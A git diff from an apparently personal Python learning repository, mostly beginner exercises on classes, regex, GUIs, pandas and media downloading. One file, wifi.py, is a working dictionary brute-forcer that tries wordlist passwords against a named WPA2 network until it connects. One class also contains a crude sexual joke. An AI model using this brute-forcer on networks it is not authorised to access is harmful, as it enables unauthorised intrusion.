+ print('%s的魔法值恢复了%d点.' % (u.name, u.resume())) + if m.alive > 0: # 如果选中的小怪兽没有死就回击奥特曼 + print('%s回击了%s.' % (m.name, u.name)) + m.attack(u) + display_info(u, ms) # 每个回合结束后显示奥特曼和小怪兽的信息 + fight_round += 1 + print('\n========战斗结束!========\n') + if u.alive > 0: + print('%s奥特曼胜利!' % u.name) + else: + print('小怪兽胜利!') + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ebook/pythonEbook/object/plus/PersonBySlots.py b/ebook/pythonEbook/object/plus/PersonBySlots.py new file mode 100644 index 0000000000000000000000000000000000000000..dd4ae7ea04282ddffd5c2ba185c0dab93ec94673 --- /dev/null +++ b/ebook/pythonEbook/object/plus/PersonBySlots.py @@ -0,0 +1,49 @@ +class PersonBySlots(object): + # 限定Person对象只能绑定_name, _age和_gender属性 + __slots__ = ('_name', '_age', '_gender') + + def __init__(self, name, age, gender): + self._name = name + self._age = age + self._gender = gender + + @property + def name(self): + return self._name + + @name.setter + def name(self, name): + self._name = name + + @property + def age(self): + return self._age + + @age.setter + def age(self, age): + self._age = age + + @property + def gender(self): + return self._gender + + @gender.setter + def gender(self, gender): + self._gender = gender + + def play(self): + if self._age < 16: + print("%s 只能玩飞行棋" % self._name) + else: + print("%s 可以玩三上悠亚" % self._name) + + +def main(): + boy1 = PersonBySlots('王大锤', 18, '男') + boy1.play() + boy1 = PersonBySlots('王小锤', 14, '男') + boy1.play() + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/object/plus/Pet.py b/ebook/pythonEbook/object/plus/Pet.py new file mode 100644 index 0000000000000000000000000000000000000000..72211b3c5fe1ad73bd344ce204628e9c59a811be --- /dev/null +++ b/ebook/pythonEbook/object/plus/Pet.py @@ -0,0 +1,39 @@ +from abc import abstractmethod, ABCMeta + + +class Pet(object, metaclass=ABCMeta): + """ + 宠物类 + """ + + def __init__(self, nickname): + self._nickname = nickname + + # 抽象方法发出声音 + @abstractmethod + def make_voice(self): + """ + 发出声音, 谁继承谁实现 + :return: + """ + pass + + +class Dog(Pet): + def make_voice(self): + print("%s 汪汪汪..." % self._nickname) + + +class Cat(Pet): + def make_voice(self): + print("%s 喵喵喵..." % self._nickname) + + +def main(): + pets = [Dog('旺财'), Cat("小花"), Dog('掘金')] + for pet in pets: + pet.make_voice() + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/object/plus/Triangle.py b/ebook/pythonEbook/object/plus/Triangle.py new file mode 100644 index 0000000000000000000000000000000000000000..d84c353849f183ce9a5be32d2dc724fdd9fd08ec --- /dev/null +++ b/ebook/pythonEbook/object/plus/Triangle.py @@ -0,0 +1,34 @@ +from math import sqrt + + +class Triangle(object): + def __init__(self, a, b, c): + self._a = a + self._b = b + self._c = c + + # 判断三条边能不能构成三角形 + @staticmethod + def is_invalid(a, b, c): + return a + b > c and a + c > b and b + c > a + + # 计算三角形周长 + def perimeter(self): + return self._a + self._b + self._c + + # 计算三角形的面积 + def area(self): + half = self.perimeter() / 2 + return sqrt(half * (half - self._a) * (half - self._b) * (half - self._c)) + + +def main(): + a, b, c = 3, 4, 5 + if Triangle.is_invalid(a, b, c): + t1 = Triangle(a, b, c) + print("三角形的周长是: %s" % t1.perimeter()) + print("三角形的面积是: %s" % t1.area()) + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/str/AlterInfo.py b/ebook/pythonEbook/str/AlterInfo.py new file mode 100644 index 0000000000000000000000000000000000000000..b44961056c9987bb693c3a43b2ff11dd81f3894c --- /dev/null +++ b/ebook/pythonEbook/str/AlterInfo.py @@ -0,0 +1,12 @@ +import re + + +def main(): + sentence = '你丫是傻叉吗? 我操你大爷的. Fuck you.' + purified = re.sub('[操肏艹]|fuck|shit|傻[比屄逼叉缺吊屌]|煞笔', + '*', sentence, flags=re.IGNORECASE) + print(purified) # 你丫是*吗? 我*你大爷的. * you. + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ebook/pythonEbook/str/PhoneNoMatch.py b/ebook/pythonEbook/str/PhoneNoMatch.py new file mode 100644 index 0000000000000000000000000000000000000000..d9c4ca311cdc2fd41f41fdc0f2e51d83d4094d2e --- /dev/null +++ b/ebook/pythonEbook/str/PhoneNoMatch.py @@ -0,0 +1,30 @@ +""" +从一段文字中提取出国内手机号码 +""" +import re + + +def main(): + # 创建正则表达式对象 使用了前瞻和回顾来保证手机号前后不应该出现数字 + pattern = re.compile(r'(?<=\D)1[34578]\d{9}(?=\D)') + sentence = ''' + 重要的事情说8130123456789遍,我的手机号是13512346789这个靓号, + 不是15600998765,也是110或119,王大锤的手机号才是15600998765。 + ''' + # 查找所有匹配并保存到一个列表中 + mylist = re.findall(pattern, sentence) + print(mylist) + print('--------华丽的分隔线--------') + # 通过迭代器取出匹配对象并获得匹配的内容 + for temp in pattern.finditer(sentence): + print(temp.group()) + print('--------华丽的分隔线--------') + # 通过search函数指定搜索位置找出所有匹配 + m = pattern.search(sentence) + while m: + print(m.group()) + m = pattern.search(sentence, m.end()) + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/str/String.py b/ebook/pythonEbook/str/String.py new file mode 100644 index 0000000000000000000000000000000000000000..61f384f7e5e340fed3f4ab1d1a5760cd6279d649 --- /dev/null +++ b/ebook/pythonEbook/str/String.py @@ -0,0 +1,25 @@ +""" +验证输入用户名和QQ号是否有效并给出对应的提示信息 + +要求:用户名必须由字母、数字或下划线构成且长度在6~20个字符之间,QQ号是5~12的数字且首位不能为0 +""" +import re + + +def main(): + username = input("请输入你的额姓名:") + m1 = re.match(r'^[0-9a-zA-Z_]{6,20}$', username) + if not m1: + print("请输入有效的用户名.") + return + QQ = input("请输入你的QQ号码: ") + m2 = re.match(r'^[1-9]\d{4,11}$', QQ) + if not m2: + print("请输入有效的QQ号.") + return + if m1 and m2: + print("输入的信息已经生效") + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/str/SubString.py b/ebook/pythonEbook/str/SubString.py new file mode 100644 index 0000000000000000000000000000000000000000..299c491066e9467830648266fe368d6c2989802b --- /dev/null +++ b/ebook/pythonEbook/str/SubString.py @@ -0,0 +1,13 @@ +import re + + +def main(): + poem = '窗前明月光,疑是地上霜。举头望明月,低头思故乡。' + sentence_list = re.split(r'[,。, .]', poem) + while '' in sentence_list: + sentence_list.remove('') + print(sentence_list) # ['窗前明月光', '疑是地上霜', '举头望明月', '低头思故乡'] + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ebook/pythonEbook/tkinter/PygameTest.py b/ebook/pythonEbook/tkinter/PygameTest.py new file mode 100644 index 0000000000000000000000000000000000000000..15b0699edfaf42f8bc82268461baca00be60b832 --- /dev/null +++ b/ebook/pythonEbook/tkinter/PygameTest.py @@ -0,0 +1,21 @@ +import pygame + + +def main(): + # 初始化导入的pygame中的模块 + pygame.init() + # 初始化用于显示的窗口并设置窗口尺寸 + pygame.display.set_mode((800, 600)) + # 设置当前窗口的标题 + pygame.display.set_caption('大球吃小球') + running = True + # 开启一个事件循环处理发生的事件 + while running: + # 从消息队列中获取事件并对事件进行处理 + for event in pygame.event.get(): + if event.type == pygame.QUIT: + running = False + + +if __name__ == '__main__': + main() diff --git a/ebook/pythonEbook/tkinter/tkinterGUI.py b/ebook/pythonEbook/tkinter/tkinterGUI.py new file mode 100644 index 0000000000000000000000000000000000000000..4c80df115a088aa242df1368dbd6de00c5db3657 --- /dev/null +++ b/ebook/pythonEbook/tkinter/tkinterGUI.py @@ -0,0 +1,43 @@ +import tkinter +import tkinter.messagebox + + +def main(): + flag = True + + # 修改标签上的文字 + def change_label_text(): + nonlocal flag + flag = not flag + color, msg = ('red', 'Hello, world!')\ + if flag else ('blue', 'Goodbye, world!') + label.config(text=msg, fg=color) + + # 确认退出 + def confirm_to_quit(): + if tkinter.messagebox.askokcancel('温馨提示', '确定要退出吗?'): + top.quit() + + # 创建顶层窗口 + top = tkinter.Tk() + # 设置窗口大小 + top.geometry('240x160') + # 设置窗口标题 + top.title('小游戏') + # 创建标签对象并添加到顶层窗口 + label = tkinter.Label(top, text='Hello, world!', font='Arial -32', fg='red') + label.pack(expand=1) + # 创建一个装按钮的容器 + panel = tkinter.Frame(top) + # 创建按钮对象 指定添加到哪个容器中 通过command参数绑定事件回调函数 + button1 = tkinter.Button(panel, text='修改', command=change_label_text) + button1.pack(side='left') + button2 = tkinter.Button(panel, text='退出', command=confirm_to_quit) + button2.pack(side='right') + panel.pack(side='bottom') + # 开启主事件循环 + tkinter.mainloop() + + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/netCloud/Netease.py b/netCloud/Netease.py index 5791698a891a9f23e768b9a056b18b15be90842e..2b198ef489ca7b3823c74f847cef8dcdece70678 100644 --- a/netCloud/Netease.py +++ b/netCloud/Netease.py @@ -221,7 +221,7 @@ class Netease(): if __name__ == '__main__': timeout = 60 - output = 'E:/NetCloudDownload/chinessemusicList/' + output = 'E:/NetCloudDownload/self/' quiet = True cookie_path = 'Cookie' netease = Netease(timeout, output, quiet, cookie_path) diff --git a/netCloud/downloadNetCloud.py b/netCloud/downloadNetCloud.py index 0ce1bb1d8f236ea1ad6ac4491accb3a2e6c4bb21..e14c45d5c195a3438214752ece2106013fcbd72b 100644 --- a/netCloud/downloadNetCloud.py +++ b/netCloud/downloadNetCloud.py @@ -61,7 +61,7 @@ class Music(object): if __name__ == "__main__": baseurl = "https://music.163.com/discover/toplist?id=3778678" # 要爬取的热歌榜链接 #baseurl = "https://music.163.com/#/my/m/music/playlist?id=150060135" - path = "E:/NetCloudDownload/hotTop/" # 保存的文件目录 + path = "E:/NetCloudDownload/self/" # 保存的文件目录 demo0 = Music(baseurl, path) demo0.main() print("下载完毕") diff --git a/netCloud/music_list.txt b/netCloud/music_list.txt index 2ca02826322ab66d82491fcb7b89a2790c2899b5..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 100644 --- a/netCloud/music_list.txt +++ b/netCloud/music_list.txt @@ -1,41 +0,0 @@ -丢了你 -New Boy -目及皆是你 -错位时空 -永不失联的爱 -笔记 -那个女孩 -你的答案 -一些规律 -煎熬 -结果 -朋友别哭 -感谢你曾来过 -醒着醉 -遥远的你 -不负时光 -认真的老去 -雾(女生版) -南方南方 -爸爸妈妈 -南方北方 -理想 -简单怀念 -最美的期待 南征北战 -可能否 -往后余生 -我们的时光 -空空如也 任然 -勉为其难 -唯你一生 -花儿和少年 -偏偏喜欢你 -陪你度过漫长岁月 -老街 -相依为命 -热爱105℃的你 -世界美好与你环环相扣 -芒种 -这一生关于你的风景 -西海情歌 -温柔乡 diff --git "a/python\345\237\272\347\241\200/draw/drawByTurtle.py" "b/python\345\237\272\347\241\200/draw/drawByTurtle.py" new file mode 100644 index 0000000000000000000000000000000000000000..fd733137298740f1946031e85887c8f8b4e59c00 --- /dev/null +++ "b/python\345\237\272\347\241\200/draw/drawByTurtle.py" @@ -0,0 +1,21 @@ +import turtle + +# turtle.pensize(4) +# turtle.pencolor('red') +# turtle.forward(100) +# turtle.right(90) +# turtle.forward(100) +# turtle.right(90) +# turtle.forward(100) +# turtle.right(90) +# turtle.forward(100) +# turtle.right(90) +# turtle.mainloop() +turtle.pensize(2) +turtle.pencolor('blue') +i =0 +while i < 360: + i=i+1 + turtle.forward(1) + turtle.right(1) +turtle.mainloop() \ No newline at end of file diff --git "a/python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" "b/python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" new file mode 100644 index 0000000000000000000000000000000000000000..4b68878b98ed381db18ffaecfebd982d85575e40 --- /dev/null +++ "b/python\345\237\272\347\241\200/draw/\345\215\216\346\260\217\346\270\251\345\272\246\350\275\254\346\221\204\346\260\217\346\270\251\345\272\246.py" @@ -0,0 +1,8 @@ +""" +华氏温度计算公式 +F = 1.8C + 32 +C= (F - 32) / 1.8 +""" +f = float(input("输入温度")) +c = (f - 32) / 1.8 +print("%.1f 华氏度 = %1.f 摄氏度" % (f, c)) diff --git "a/python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" "b/python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" new file mode 100644 index 0000000000000000000000000000000000000000..50f9cd07291babd2c9d257ed16a5807bea29c3f5 --- /dev/null +++ "b/python\345\237\272\347\241\200/draw/\350\256\241\347\256\227\345\234\206\347\232\204\345\221\250\351\225\277\345\222\214\351\235\242\347\247\257.py" @@ -0,0 +1,12 @@ +import math + +""" +圆的面积和周长计算公式 +周长 = 2 * pi * r +面积 = pi*r*r +""" +r = float(input("输入圆的半径:")) +around = 2 * math.pi * r +area = math.pi * (r ** 2) +print("圆的周长是:%.2f " % around) +print("圆的面积是:%.2f " % area) diff --git "a/python\345\237\272\347\241\200/excel/data.py" "b/python\345\237\272\347\241\200/excel/data.py" new file mode 100644 index 0000000000000000000000000000000000000000..05bc16fb59a738a419676ca41bf7ee0eeccbbb1b --- /dev/null +++ "b/python\345\237\272\347\241\200/excel/data.py" @@ -0,0 +1,30 @@ +import pandas as pd + +data = pd.read_excel(r"D:\excel\data.xlsx") +rows = data.shape[0] # 获取行数 shape[1]获取列数 +department_list = [] + +for i in range(rows): + temp = data["sheet_name"][i] + if temp not in department_list: # 防止重复 + department_list.append(temp) # 将sheet_name的分类存在一个列表中 + +n = len(department_list) # 类别数 +# sheet_name有几个类别这里就新建几个 +df1 = pd.DataFrame() +df2 = pd.DataFrame() +df3 = pd.DataFrame() + +df_list = [df1, df2, df3] + +for department in range(n): + for i in range(0, rows): + if data["sheet_name"][i] == department_list[department]: + df_list[department] = pd.concat([df_list[department], data.iloc[[i], :]], axis=0, ignore_index=True) + +writer = pd.ExcelWriter(r'D:\excel\testData.xlsx') # 利用pd.ExcelWriter()存多张sheets + +for i in range(n): + df_list[i].to_excel(writer, sheet_name=str(department_list[i]), index=False) # 注意加上index=FALSE 去掉index列 + +writer.save() \ No newline at end of file diff --git "a/python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" "b/python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" new file mode 100644 index 0000000000000000000000000000000000000000..39b49f2e34f86b65dac348f5f532aecec1cc150d --- /dev/null +++ "b/python\345\237\272\347\241\200/md/2_\344\275\277\347\224\250python\350\247\243\351\207\212\345\231\250.md" @@ -0,0 +1,31 @@ +# 使用python解释器 +## 2.1 调用解释器 + 在windows中 win+r 输入cmd + 出现的command界面中输入python就可以使用python了 + 退出python编译器: + 1. 使用ctrl + z 回车 + 2. quit() + 3. exit() +## 2.1.1 传入参数 + 在命令行终端中输入 + import sys + sys.argv[0] + +## 2.1.1 交互模式 + 在终端(tty)输入并执行指令时,我们说解释器是运行在 交互模式(interactive mode)。 + 在这种模式中,它会显示 主提示符(primary prompt),提示输入下一条指令,通常用三个大于号(>>>)表示; + 连续输入行的时候,它会显示 次要提示符,默认是三个点(...)。进入解释器时,它会先显示欢迎信息、版本信息、版权声明,然后就会出现提示符 + + >>> isTrue = True + >>> if isTrue: + ... print("hello") + ... + hello + # 2.2. 解释器的运行环境 +## 2.2.1. 源文件的字符编码 + 默认情况下,Python 源码文件以 UTF-8 编码方式处理。在这种编码方式中,世界上大多数语言的字符都可以同时用于字符串字面值、 + 变量或函数名称以及注释中——尽管标准库中只用常规的 ASCII 字符作为变量或函数名, + 而且任何可移植的代码都应该遵守此约定。要正确显示这些字符,你的编辑器必须能识别 UTF-8 编码,而且必须使用能支持打开的文件中所有字符的字体。 + + 要声明文件所使用的编码,文件的 第一 行要写成特殊的注释: + # -*- coding: utf-8 -*- \ No newline at end of file diff --git "a/python\345\237\272\347\241\200/py/fibo.py" "b/python\345\237\272\347\241\200/py/fibo.py" new file mode 100644 index 0000000000000000000000000000000000000000..89dad6670cea141232c5c2b241330bcc6c6adb83 --- /dev/null +++ "b/python\345\237\272\347\241\200/py/fibo.py" @@ -0,0 +1,15 @@ +def fib(n): + a, b = 0, 1 + while a < n: + print(a, end=" ") + a, b = b, a + b + print() + + +def fib2(n): + result = [] + a, b = 0, 1 + while a < n: + result.append(a) + a, b = b, a + b + return result diff --git "a/python\345\237\272\347\241\200/py/testFibo.py" "b/python\345\237\272\347\241\200/py/testFibo.py" new file mode 100644 index 0000000000000000000000000000000000000000..675d2ccc7940dbda1218aa88f9d56d25a9a0541c --- /dev/null +++ "b/python\345\237\272\347\241\200/py/testFibo.py" @@ -0,0 +1,6 @@ + +from python基础.py.fibo import fib, fib2 +fib(1000) +print("*********") +print(fib2(100)) + diff --git "a/python\345\237\272\347\241\200/py/wifi.py" "b/python\345\237\272\347\241\200/py/wifi.py" new file mode 100644 index 0000000000000000000000000000000000000000..b6ccd09c19ccbeb8c391ccb48bafa89695ef66d1 --- /dev/null +++ "b/python\345\237\272\347\241\200/py/wifi.py" @@ -0,0 +1,68 @@ +import time +import pywifi +from pywifi import const + + +class PoJie(): + def __init__(self, path): + self.file = open(path, "r", errors="ignore") + wifi = pywifi.PyWiFi() # 抓取网卡接口 + self.iface = wifi.interfaces()[0] # 抓取第一个无限网卡 + self.iface.disconnect() # 测试链接断开所有链接 + + time.sleep(1) # 休眠1秒 + + # 测试网卡是否属于断开状态, + assert self.iface.status() in \ + [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] + + def readPassWord(self): + print("开始破解:") + while True: + + try: + myStr = self.file.readline() + if not myStr: + break + bool1 = self.test_connect(myStr) + if bool1: + print("密码正确:", myStr) + break + else: + print("密码错误:" + myStr) + time.sleep(3) + except: + continue + + def test_connect(self, findStr): # 测试链接 + + profile = pywifi.Profile() # 创建wifi链接文件 + profile.ssid = "xiadashuai666" # wifi名称 + profile.auth = const.AUTH_ALG_OPEN # 网卡的开放, + profile.akm.append(const.AKM_TYPE_WPA2PSK) # wifi加密算法wpa2 + profile.cipher = const.CIPHER_TYPE_CCMP # 加密单元 + profile.key = findStr # 密码 + + self.iface.remove_all_network_profiles() # 删除所有的wifi文件 + tmp_profile = self.iface.add_network_profile(profile) # 设定新的链接文件 + self.iface.connect(tmp_profile) # 链接 + time.sleep(5) + if self.iface.status() == const.IFACE_CONNECTED: # 判断是否连接上 + isOK = True + else: + isOK = False + self.iface.disconnect() # 断开 + time.sleep(1) + # 检查断开状态 + assert self.iface.status() in \ + [const.IFACE_DISCONNECTED, const.IFACE_INACTIVE] + + return isOK + + def __del__(self): + self.file.close() + + +path = r"txt/products" +start = PoJie(path) +start.readPassWord() diff --git "a/\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" "b/\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" new file mode 100644 index 0000000000000000000000000000000000000000..d863ad59c055f0c04e349c8b7106594d8e67283c --- /dev/null +++ "b/\347\210\254\350\231\253/\347\254\254\344\270\200\347\253\240/Download_Bilibili_Video.py" @@ -0,0 +1,79 @@ +from requests import get, post + +class Download_Bilibili_Video: + def open_url(self, url): + headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36', + 'Referer': 'https://www.bilibili.com/'} + res = get(url, headers = headers) + res.raise_for_status() + res.encoding = res.apparent_encoding + return res + + def BV_to_AV(self, bv): + # 方法:BV1j4411W7F7 + if bv.isdigit(): + return bv + bv = list(bv[2:]) + keys = {'1': 13, '2': 12, '3': 46, '4': 31, '5': 43, '6': 18, '7': 40, '8': 28, '9': 5, + 'A': 54, 'B': 20, 'C': 15, 'D': 8, 'E': 39, 'F': 57, 'G': 45, 'H': 36, 'J': 38, 'K': 51, 'L': 42, 'M': 49, 'N': 52, 'P': 53, 'Q': 7, 'R': 4, 'S': 9, 'T': 50, 'U': 10, 'V': 44, 'W': 34, 'X': 6, 'Y': 25, 'Z': 1, + 'a': 26, 'b': 29, 'c': 56, 'd': 3, 'e': 24, 'f': 0, 'g': 47, 'h': 27, 'i': 22, 'j': 41, 'k': 16, 'm': 11, 'n': 37, 'o': 2, 'p': 35, 'q': 21, 'r': 17, 's': 33, 't': 30, 'u': 48, 'v': 23, 'w': 55, 'x': 32, 'y': 14, 'z': 19} + for i in range(len(bv)): + bv[i] = keys[bv[i]] + bv[0] *= (58 ** 6) + bv[1] *= (58 ** 2) + bv[2] *= (58 ** 4) + bv[3] *= (58 ** 8) + bv[4] *= (58 ** 5) + bv[5] *= (58 ** 9) + bv[6] *= (58 ** 3) + bv[7] *= (58 ** 7) + bv[8] *= 58 + return str((sum(bv) - 100618342136696320) ^ 177451812) + + def get_video_info(self, aid, cid): + url = f"https://api.bilibili.com/x/web-interface/view?aid={aid}&cid={cid}" + res = self.open_url(url).json() + # 没想好这部分怎么用 + if res['message'] == '0': + res = res['data'] + info = {} + info['title'] = res['title'] + info['intro'] = res['desc'] + info['author'] = res['owner']['name'] + info['stat'] = res['stat'] + return info + return False + + def get_cid(self, aid): + res = self.open_url(f"https://api.bilibili.com/x/player/pagelist?aid={aid}&jsonp=jsonp").json() + if res['message'] == '0': + cid = res["data"][0]["cid"] + return cid + return False + + def download_video(self, aid, cid, filename): + res = self.open_url(f"https://api.bilibili.com/x/player/playurl?avid={aid}&cid={cid}&qn=64").json() + url = res["data"]["durl"][0]["url"] + print(f"准备下载{filename}...") + f = open(filename, "ab") + print("开始下载...") + video = self.open_url(url) + f.write(video.content) + print("下载已完成!") + + + + def main(self): + bv = input("请输入视频BV或AV号:") + aid = self.BV_to_AV(bv) + cid = self.get_cid(aid) + if not cid: + print("您输入的BV或AV号有误!") + return False + info = self.get_video_info(aid, cid) + self.download_video(aid, cid, info['title'] + ".flv") + return True + +DBV = Download_Bilibili_Video() +if __name__ == "__main__": + DBV.main() \ No newline at end of file